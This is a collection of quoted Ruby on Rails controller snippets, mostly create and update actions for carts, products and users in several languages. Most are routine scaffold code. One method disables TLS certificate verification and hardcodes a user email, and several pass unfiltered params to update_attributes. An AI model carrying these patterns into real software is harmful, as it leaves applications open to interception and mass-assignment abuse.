"def update\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \tusuario_pedido = @usuario.pedidos.find(@pedido.id)\n \t\tif usuario_pedido.update(parametros_actualizar_usuario_negocio)\n \t\thead :no_content\n \t\telse\n \t\trender json: @usuario_pedido.errors, status: :unprocessable_entity\n \t\tend\n else\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \tnegocio_pedido = @negocio.pedidos.find(@pedido.id)\n \tif negocio_pedido.update(parametros_actualizar_pedido_negocio)\n \thead :no_content\n \telse\n \trender json: @negocio_pedido.errors, status: :unprocessable_entity\n \tend\n \tend\n end",
"def update\n @usuario = Usuario.find(params[:id])\n\n if @usuario.update(usuario_params)\n head :no_content\n else\n render json: @usuario.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @inventario_cosa.update(inventario_cosa_params)\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_cosa }\n else\n format.html { render :edit }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @id=session[:test_id]\n @cartella_clinica=CartellaClinica.new(cartella_clinica_params)\n respond_to do |format|\n if @cartella_clinica.save\n CartellaClinica.update(@cartella_clinica.id,:paziente_id =>@id) \n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata creata con successo.' }\n format.json { render :show, status: :created, location: @cartella_clinica }\n else\n format.html { render :new }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n retorno = {erro: \"322\" ,body: \"\"}\n if @usuario.update(valid_request?)\n retorno = {erro: \"000\", body: {evento_id: @usuario.id, usuario_nome: @usuario.nome}}\n end\n render json: retorno.to_json\n end",
"def update\n cart_item = current_user.cart.cart_items.where(\"item_id = ?\", cart_items_params[:item_id]).first\n cart_item.quantity += cart_items_params[:quantity].to_i\n if cart_item.quantity < 1\n if cart_item.delete\n @cart = CartItem.where(cart_id: current_user.cart_id).order(created_at: :desc)\n render 'carts/show'\n else\n render json: ['no such product in the cart'], status: 404\n end\n else\n if cart_item.save\n @cart = CartItem.where(cart_id: current_user.cart_id).order(created_at: :desc)\n render 'carts/show'\n else\n render cart_item.errors.full_messages, status: 422\n end\n end\n end",
"def set_cartao\n @cartao = Cartao.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @cartella_clinica.update(cartella_clinica_params)\n format.html { redirect_to @cartella_clinica, notice: 'La Cartella clinica è stata modificata correttamente.' }\n format.json { render :show, status: :ok, location: @cartella_clinica }\n else\n format.html { render :edit }\n format.json { render json: @cartella_clinica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quimicos_serigrafia_producto.update(quimicos_serigrafia_producto_params)\n format.html { redirect_to @quimicos_serigrafia_producto, notice: 'Quimicos serigrafia producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @quimicos_serigrafia_producto }\n else\n format.html { render :edit }\n format.json { render json: @quimicos_serigrafia_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if current_user\n @cart = OrderProduct.find(params[:id])\n product = Product.find(@cart.product_id)\n quantity = params[:quantity].to_i\n total = product.price * quantity\n\n respond_to do |format|\n if @cart.update(quantity: quantity, total: total)\n format.html { redirect_to carts_path}\n # format.json { render :show, status: :ok, location: @order_product }\n format.js {}\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n else\n x = JSON.parse(cookies[:add_to_cart])\n x.each do |item|\n if item[\"product_id\"] == params[:id]\n item[\"quantity\"] = params[:quantity]\n end\n end\n cookies[:add_to_cart] = JSON.generate(x)\n respond_to do |format|\n format.html { redirect_to carts_path }\n format.js {}\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario_proyecto.update(usuario_proyecto_params)\n format.html { redirect_to @usuario_proyecto, notice: 'Usuario proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario_proyecto }\n else\n format.html { render :edit }\n format.json { render json: @usuario_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @carrito_producto.update(params[:cantidad_productos])\n format.html { redirect_to @carrito_producto, notice: 'Carrito was successfully updated.' }\n format.json { render :show, status: :ok, location: @carrito_producto }\n else\n format.html { render :edit }\n format.json { render json: @carrito_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_cart\n @cart = current_api_v1_user&.products&.find(params[:id])\n end",
"def update\n @cartum = Cartum.find(params[:id])\n\n respond_to do |format|\n if @cartum.update_attributes(params[:cartum])\n format.html { redirect_to @cartum, notice: 'Cartum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def confirmer_cart\n _user = current_client\n _confirmation = rand(36**10).to_s(36)\n _cart = Commande.new()\n _cart.client_id = _user.id\n if params[:addr_id] != '-1'\n _cart.adresse_id = params[:addr_id]\n else\n _cart.adresse_id = client_adresse.id \n end\n _cart.no_confirmation = _confirmation\n _cart.date_de_commande = params[:date_de_commande]\n _cart.heure_de_commande = params[:heure_de_commande]\n _cart.prix_total = params[:prix_total]\n _cart.status_pret = false\n _cart.save\n render json: _cart\n end",
"def destroy\n @usuario_cartum = UsuarioCartum.find(params[:id])\n @usuario_cartum.destroy\n\n respond_to do |format|\n format.html { redirect_to usuario_carta_url }\n format.json { head :no_content }\n end\n end",
"def update\n @cartucho = Cartucho.find(params[:id])\n\n respond_to do |format|\n if @cartucho.update_attributes(params[:cartucho])\n format.html { redirect_to @cartucho, notice: 'Cartucho was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cartucho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @producto_seccion.update(producto_seccion_params)\n format.html { redirect_to @producto_seccion, notice: 'Producto seccion was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto_seccion }\n else\n format.html { render :edit }\n format.json { render json: @producto_seccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :editar, @usuario_prestamo\n respond_to do |format|\n if @usuario_prestamo.update(usuario_prestamo_params)\n format.html { redirect_to @usuario_prestamo, notice: 'La información del usuario de préstamos ha sido modificada correctamente' }\n format.json { render :show, status: :ok, location: @usuario_prestamo }\n else\n format.html { render :edit }\n format.json { render json: @usuario_prestamo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: I18n.t('carts.name') + I18n.t('messages.success') + I18n.t('messages.actions.update')}\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: \"Cart was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n if @carts_product.update_attributes(params[:carts_product])\n format.html { redirect_to @cart, notice: 'Carts product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @carts_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # if @cart_item.update(cart_item_params)\n # render :show, status: :ok, location: @cart_item\n # else\n # render json: @cart_item.errors, status: :unprocessable_entity\n # end\n\n if params[:cart_item][:quantity].to_i.zero?\n destroy\n elsif @cart_item.update(cart_item_params)\n @cart = @cart_item.cart\n build do\n message 'Изменение количества'\n view 'carts/show'\n end\n # render :show, status: :ok, location: @item\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n respond_to do |format|\n if @productos_por_cliente.update(productos_por_cliente_params)\n format.html { redirect_to @productos_por_cliente, notice: 'Productos por cliente was successfully updated.' }\n format.json { render :show, status: :ok, location: @productos_por_cliente }\n else\n format.html { render :edit }\n format.json { render json: @productos_por_cliente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart_item = CartItem.find(params[:id])\n\n if @cart_item.update(cart_item_params)\n head :no_content\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @tinta_sublimacion_producto.update(tinta_sublimacion_producto_params)\n format.html { redirect_to @tinta_sublimacion_producto, notice: 'Tinta sublimacion producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @tinta_sublimacion_producto }\n else\n format.html { render :edit }\n format.json { render json: @tinta_sublimacion_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n product = Product.where(id: params[:product_id]).select(:id).first\n if product\n cart = current_user.carts.create(product_id: params[:product_id], quantity: params[:quantity])\n render json: { id: cart.id, product_id: cart.product_id, quantity: cart.quantity }\n else\n render json: { error: \"Product not found\" }, status: :not_found\n end\n end",
"def update\n @produto.update(produto_params)\n respond_with @produto\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n if session[:cart]\n format.html { redirect_to cart_index_path, notice: 'Silahkan Melanjutkan proses checkout.' }\n else\n format.html { redirect_to user_path, notice: 'Users was successfully updated.' }\n end\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @proximo_codigo = @tipo_usuario.codigo\n respond_to do |format|\n if @tipo_usuario.update(tipo_usuario_params)\n format.html { redirect_to action: \"new\", notice: 'TIpo Usuário atualizado com sucesso..' }\n format.json { render :show, status: :ok, location: @tipo_usuario }\n else\n format.html { render :edit }\n format.json { render json: @tipo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @juntum_usuario.update(juntum_usuario_params)\n format.html { redirect_to @juntum_usuario, notice: 'Juntum usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @juntum_usuario }\n else\n format.html { render :edit }\n format.json { render json: @juntum_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @inventario_producto.update(inventario_producto_params)\n format.html { redirect_to @inventario_producto, notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventario_producto }\n else\n format.html { render :edit }\n format.json { render json: @inventario_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cart_params\n params.permit(:producto_id, :cantidad, :stock)\n end",
"def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario.update(usuario_params)\n format.html { redirect_to @usuario, notice: 'Usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario }\n else\n format.html { render :edit }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario.update(usuario_params)\n format.html { redirect_to @usuario, notice: 'Usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario }\n else\n format.html { render :edit }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario.update(usuario_params)\n format.html { redirect_to @usuario, notice: 'Usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario }\n else\n format.html { render :edit }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n authorize! :update, @producto\n\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to productos_url({:page => cookies[:current_page]}), notice: 'Producto was successfully updated.' }\n format.json { head :no_content }\n else\n @unidades = current_user.empresa.unidades.load\n @listadeprecios = current_user.empresa.listadeprecios.load\n format.html { render action: 'edit' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @troca_produto.update(troca_produto_params)\n format.html { redirect_to @troca_produto, notice: \"Troca produto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @troca_produto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @troca_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @usuario.update(usuario_params)\n format.html { redirect_to @usuario, notice: 'Usuario was successfully updated.' }\n format.json { render :show, status: :ok, location: @usuario }\n else\n format.html { render :edit }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n\n end\n end",
"def add_product_to_cart token, cart_id, product_code, qty = 1\n\n\t\tusername = \"akiro.nakamura@pronto-hw.com\" \n\t\tproduct_code = '3756505'\n\n\t\turl = 'http://localhost:9001/rest/v2/powertools/users/' + username + '/carts/' + cart_id.to_s + '/entries?code=' + product_code.to_s + '&qty=' + qty.to_s\n\t\tputs url\n\t\tclient = RestClient::Resource.new(url, :verify_ssl => OpenSSL::SSL::VERIFY_NONE)\n\n\t\tresponse = client.put(:Authorization => token )\n\n\t\tputs response.body\t\n\tend",
"def create\n if cart_item_exist?\n @cart_item.quantity += params[:cart_item][:quantity]\n else\n params[:cart_item][:cart_id] = params[:cart_id]\n @cart_item = CartItem.new(cart_item_params)\n end\n\n if @cart_item.save\n @cart = @cart_item.cart\n\n build do\n message 'Новый товар в корзине'\n view 'carts/show'\n end\n else\n render json: @cart_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @usuario_curso.update(usuario_curso_params)\n format.html { redirect_to @usuario_curso, notice: 'Usuário do Curso atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @usuario_curso }\n else\n format.html { render :edit, @current_usuario => current_usuario }\n format.json { render json: @usuario_curso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart_item.update(cart_item_params)\n format.html { redirect_to @cart_item, notice: 'Информация о заказаном диске обновлена .' }\n format.json { render :show, status: :ok, location: @cart_item }\n else\n format.html { render :edit }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saida_produto.update(saida_produto_params)\n format.html { redirect_to @saida_produto, notice: 'Saida produto was successfully updated.' }\n format.json { render :show, status: :ok, location: @saida_produto }\n else\n format.html { render :edit }\n format.json { render json: @saida_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @estado_producto.update(estado_producto_params)\n format.html { redirect_to @estado_producto, notice: 'Estado producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @estado_producto }\n else\n format.html { render :edit }\n format.json { render json: @estado_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_cart\n if current_user.cart\n update\n else\n create\n end\n end",
"def update\n @comentario = current_user.comentarios.find(params[:comentario])\n\n respond_to do |format|\n if @comentario.update_attributes(params[:id])\n format.html { redirect_to @comentario, notice: 'Comentario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @comentario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # respond_to do |format|\n # if @usuario.update(usuario_params)\n @usuario = Usuario.find_by_id(params[:id])\n p \"-----------------------------------\"\n p params[:usuario]\n p \"-----------------------------------\"\n if @usuario.update(usuario_params)\n # format.json { render :show, status: :ok, location: @usuario }\n render :json=> {:success=>true, :usuario=>@usuario, :message=>\"Usuario actualizado correctamente\"},:status=>200\n else\n render :json=> {:success=>false, :message=>\"Error al actualizar\"},:status=>404\n # format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n # end\n end",
"def update\n respond_to do |format|\n if @com_articulo.update(com_articulo_params)\n format.html { redirect_to @com_articulo, notice: 'Producto actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @com_articulo }\n else\n format.html { render :edit }\n format.json { render json: @com_articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n client=Client.find_by_id params[:id]\n if client!= nil\n client.cedula=params[:cedula] ? params[:cedula]: client.cedula\n client.sector=params[:sector] ? params[:sector]: client.sector\n client.nombre=params[:nombre] ? params[:nombre]: client.nombre\n client.telefono=params[:telefono] ? params[:telefono]: client.telefono\n client.pagina=params[:pagina] ? params[:pagina]: client.pagina\n client.direccion=params[:direccion] ? params[:direccion]: client.direccion\n if client.save\n render(json: client, status: 201)\n end \n else\n render(json: client.errors, status: 404)\n end \n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to show_cart_path, notice: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n else\n format.html { redirect_to show_cart_path, alert: @cart.errors.full_messages.to_sentence }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart_item = CartItem.find(params[:id])\n\n respond_to do |format|\n if @cart_item.update_attributes(params[:cart_item])\n format.html { redirect_to :back, notice: 'Quantity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :back, alert: 'Error, quanity was not updated.' }\n format.json { render json: @cart_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cart.update(cart_params)\n format.html { redirect_to @cart, success: 'Cart was successfully updated.' }\n format.json { render :show, status: :ok, location: @cart }\n\n #Use of logger class to log messages into the log file\n Logger.instance.log(Time.now.to_s + \": Cart updated by user \\n\")\n else\n format.html { render :edit }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @safra_produto = SafraProduto.find(params[:id])\n\n respond_to do |format|\n if @safra_produto.update_attributes(params[:safra_produto])\n format.html { redirect_to \"/safras/#{@safra_produto.safra_id}\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_produto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:item_producto_id])\n @opinion = @item_producto.opinions.find(params[:id])\n respond_to do |format|\n if @opinion.update(opinion_params)\n format.html { redirect_to empresa_producto_item_producto_opinions_path, notice: 'Item producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @opinion }\n else\n format.html { render :edit }\n format.json { render json: @opinion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shopping_cart.update(shopping_cart_params)\n format.html { redirect_to @shopping_cart, notice: 'Shopping cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shopping_cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pro_farm_update\n respond_to do |format|\n activo = params[:pro_far][:activo_produc]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n ProFar.where(producto_id: id, farmacium_id:farmacia_id).update_all(activo_produc: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n response_successfully(format, produto, 'Comentario was successfully updated.', :show, :ok)\n else\n response_unsuccessfully(format, :edit, @comentario, :unprocessable_entity)\n end\n end\n end",
"def update\n @usuario = Usuario.find(params[:id])\n usuario.transcriptor = true unless usuario.transcriptor or usuario.responsable\n params[:usuario].delete :password\n respond_to do |format|\n if @usuario.update_attributes(params[:usuario])\n if @usuario.admin == 2\n if @usuario.update_attribute(\"bloqueado\", 0)\n format.html { redirect_to @usuario, notice: 'Usuario actualizado exitosamente.' }\n format.json { head :no_content }\n else\n flash.keep\n format.html { render action: \"edit\", alert: 'Usuario no pudo ser actualizado.' }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n else\n if ocultar_prod_usr(@usuario.id)\n format.html { redirect_to @usuario, notice: 'Usuario actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { redirect_to @usuario, notice: 'Usuario actualizado exitosamente.' }\n format.json { head :no_content }\n end\n end\n else\n flash.keep\n format.html { render action: \"edit\", alert: 'Usuario no pudo ser actualizado.' }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if cart_product_params[:quantity].to_i > 0\n if @cart_product.update(cart_product_params)\n format.html { redirect_to request.referrer, notice: \"Cart product was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cart_product }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cart_product.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to request.referrer, notice: \"Quantity cannot be 0 or less!.\" }\n end\n end\n end",
"def update\n respond_to do |format|\n if @aquisicao.update(aquisicao_params)\n format.html { redirect_to @aquisicao, notice: 'Aquisicao was successfully updated.' }\n format.json { render :show, status: :ok, location: @aquisicao }\n else\n format.html { render :edit }\n format.json { render json: @aquisicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @producto }\n else\n format.html { render :edit }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cart = Cart.new(cart_params)\n @cart.user_id = current_user.id\n\n respond_to do |format|\n if @cart.save\n format.html { redirect_to @cart, notice: 'Cart was successfully created.' }\n format.json { render :show, status: :created, location: @cart }\n else\n format.html { render :new }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update \n\t\t@cart_item = CartItem.find(params[:id])\n\n\t\tif @cart_item.update( cart_item_params )\n\t\t head :no_content\n\t\telse\n\t\t render json: @cart_item.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @sessao.update(sessao_params)\n format.html { redirect_to @sessao, notice: 'Sessao was successfully updated.' }\n format.json { render :show, status: :ok, location: @sessao }\n else\n format.html { render :edit }\n format.json { render json: @sessao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asiento_de_servicio.update(asiento_de_servicio_params)\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asiento_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sessao.update(sessao_params)\n format.html { redirect_to @sessao, notice: \"Sessao was successfully updated.\" }\n format.json { render :show, status: :ok, location: @sessao }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @sessao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cart = Cart.find(params[:id])\n\n respond_to do |format|\n if @cart.update_attributes(params[:cart])\n format.js\n format.html { redirect_to @cart, notice: 'Cart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cart.errors, status: :unprocessable_entity }\n end\n end\n end",
